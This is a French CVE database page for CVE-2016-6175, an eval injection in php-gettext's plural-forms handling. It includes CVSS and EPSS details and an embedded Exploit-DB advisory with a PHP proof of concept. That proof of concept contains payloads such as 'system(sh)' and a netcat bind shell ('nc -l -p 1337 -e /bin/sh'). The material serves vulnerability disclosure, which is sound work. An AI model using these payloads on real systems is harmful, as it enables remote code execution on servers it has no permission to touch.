CVE-2016-6175 : Détail

CVE-2016-6175

9.8
/
Critique
Code Injection
A03-Injection
24.47%V4
Network
2017-02-07
14h00 +00:00
2017-09-02
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Eval injection vulnerability in php-gettext 1.0.12 and earlier allows remote attackers to execute arbitrary PHP code via a crafted plural forms header.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 40154

Date de publication : 2016-07-24 22h00 +00:00
Auteur : kmkz
EDB Vérifié : Yes

[CVE-2016-6175] gettext.php <= 1.0.12 unauthenticated code execution with POTENTIAL privileges escalation # Date: June 25th, 2016 # Author: kmkz (Bourbon Jean-marie) <mail.bourbon@gmail.com> | @kmkz_security # Project Homepage: https://launchpad.net/php-gettext/ # Download: https://launchpad.net/php-gettext/trunk/1.0.12/+download/php-gettext-1.0.12.tar.gz # Version: 1.0.12 (latest release) # Tested on: Linux Debian, PHP 5.6.19-2+b1 # CVSS: 7.1 # OVE ID: OVE-20160705-0004 # CVE ID: CVE-2016-6175 # OSVDB ID: n/a # Thanks: Lars Michelsen from NagVis project where this bug was discovered and Danilo Segan from gettext.php team project for their reactivity and professionalism # Credits: https://bugs.launchpad.net/php-gettext/+bug/1606184 https://github.com/NagVis/nagvis/commit/4fe8672a5aec3467da72b5852ca6d283c15adb53 # Fixes: https://github.com/NagVis/nagvis/blob/4fe8672a5aec3467da72b5852ca6d283c15adb53/share/server/core/ext/php-gettext-1.0.12/gettext.php https://bugs.launchpad.net/php-gettext/+bug/1606184 gettext.php <= 1.0.12 (latest) local/remote code execution with POTENTIAL privileges escalation issue I. APPLICATION This library provides PHP functions to read MO files even when gettext is not compiled in or when appropriate locale is not present on the system. This issue was discovered by auditing Nagvis project source code, however NagVis is not impacted by the following issue. NagVis is a visualization addon for the well known network managment system Nagios. NagVis can be used to visualize Nagios Data, e.g. to display IT processes like a mail system or a network infrastructure. II. ADVISORY A possible remote (or local) code execution were identified in the gettext.php file allowing an attacker to gain access on the nagvis host system and/or gain application's privileges throught a specially crafted .mo language file. The $string variable is not sufficiently sanitized before to be submitted to eval() function (which is dangerous) in select_string() function causing the security issue. III. VULNERABILITY DESCRIPTION The gettext_reader() funtion try to test magic number that need to match with .mo files : $MAGIC1 = "\x95\x04\x12\xde"; $MAGIC2 = "\xde\x12\x04\x95"; If it seems correct then we'll continue. We then extract forms from .mo file's header through get_plural_forms() function and check them with a deprecated (since php 5.3.0 because it can be easily bypassed by adding a Null Byte) eregi() regexp function in order to valid they match the following pattern: plural-forms: ([^\n]*)\n (This regular expression matching have no effect on our payload) Next step will be to sanitize the obtained expression string before to practice the fatal eval() on this one. Here is the impacted code snippet : snip... if (eregi("plural-forms: ([^\n]*)\n", $header, $regs)) $expr = $regs[1]; else $expr = "nplurals=2; plural=n == 1 ? 0 : 1;"; $this->pluralheader = $this->sanitize_plural_expression($expr); // The vulnerable function!! } snip... The comments presents at the beginning of sanitize_plural_expression() function explain that this one is here to prevent the eval() function attacks called later. Comments are : /** Sanitize plural form expression for use in PHP eval call. @access private @return string sanitized plural form expression**/ In fact, the security is guaranteed by a "preg_replace" that not permit us to inject specials chars. snip... function sanitize_plural_expression($expr) { // Get rid of disallowed characters. $expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr); // « sanitizer » // Add parenthesis for tertiary '?' operator. $expr .= ';'; $res = ''; $p = 0; for ($i = 0; $i < strlen($expr); $i++) { // indentation ? $ch = $expr[$i]; switch ($ch) { case '?': $res .= ' ? ('; $p++; break; case ':': $res .= ') : ('; break; case ';': $res .= str_repeat( ')', $p) . ';'; $p = 0; break; default: $res .= $ch; } } return $res; } snip... Code snippet from the vulnerable function that execute eval() on the « sanitized string : snip... $string = $this->get_plural_forms(); $string = str_replace('nplurals',"\$total",$string); $string = str_replace("n",$n,$string); $string = str_replace('plural',"\$plural",$string); $total = 0; $plural = 0; eval("$string"); // eval called .... launch my shell baby ! snip... However, for example (but not only!) we can call system() function with « sh » parameter in order to launch a /bin/sh command on the targeted system and allowing us to gain an interactive shell with application privileges on it. A real scenario could be that a real attacker overwrites languages files located in the /nagvis-1.8.5/share/frontend/nagvis-js/locale/ directory, in an internal repository, a Docker shared folder or any other folder. He now just have to wait or to execute the payload himself to obtain his shell, that's why this vulnerability is not so harmless ! Note : Apart from that we could imagine that the attacker transform the $expr variable to obtain an interactive remote shell without eval() and with (maybe) more privileges like this : $expr= (`nc -l -p 1337 -e /bin/sh`); // proof of concept and screenshots joined to this advisory Like a Perl developer could say: « there is more than one way to do it » IV. PROOF OF CONCEPT Following PHP code reproduce the exploitation concept base on the 1.0.9 version (without a crafted .mo file and joined with this advisory). <?php //$expr= ("system(sh)"); // payload1 //$expr= (`nc -l -p 1337 -e /bin/sh`); // payload that is not eval-dependant $expr=("phpinfo()"); // payload2 (PoC) //$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);// vuln $expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);/ $expr .= ';'; // Add parenthesis for tertiary '?' operator. $expr .= ';'; $res = ''; $p = 0; for ($i = 0; $i < strlen($expr); $i++) { $ch = $expr[$i]; switch ($ch) { case '?': $res .= ' ? ('; $p++; break; case ':': $res .= ') : ('; break; case ';': $res .= str_repeat( ')', $p) . ';'; $p = 0; break; default: $res .= $ch; } } // Vulnerable function : $n= (1); $total=("1000"); if (!is_int($n)) { throw new InvalidArgumentException( "Select_string only accepts integers: " . $n); // test sur la version 2 de gettext.php } $string = str_replace('nplurals',"\$total",$res); $string = str_replace("n",$res,$res); $string = str_replace('plural',"\$plural",$res); eval("$string"); ?> V. RECOMMENDATIONS As explained in the associated « bug track », it was assumed that PO and MO files would come from untrusted translators. Check the permissions on PO/MO files in order to ensure the provenance and the fact that is only accessible from trusted parties. The project's members are writing a new version that will patch this issue definitively, thank you to respect their work and to apply this temporary fix. VI. VERSIONS AFFECTED This issue affect the latest GETTEXT .PHP version and were found in latest stable NAGVIS (1.8.5) version. It could affect the a lot of web application and/or many website as long as it will not be updated. VII. TIMELINE June 21th, 2016: Vulnerability identification June 21th, 2016: Nagvis project developers and gettext.php developers notification June 22th, 2016: Nagvis project developers response June 25th, 2016: Nagvis Patch release (even if not really affected) June 27th, 2016: Gettext.php team response (from Danilo ?egan), exchange started July 5th, 2016: CVE request ID (mitre) and OVE ID request July 7th, 2016: CVE-2016-6175 attributed by MITRE July 25th, 2016: Public disclosure VIII. LEGAL NOTICES The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this advisory.

Products Mentioned

Configuraton 0

Php-gettext_project>>Php-gettext >> Version To (including) 1.0.12

Références

https://www.exploit-db.com/exploits/40154/
Tags : exploit, x_refsource_EXPLOIT-DB
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.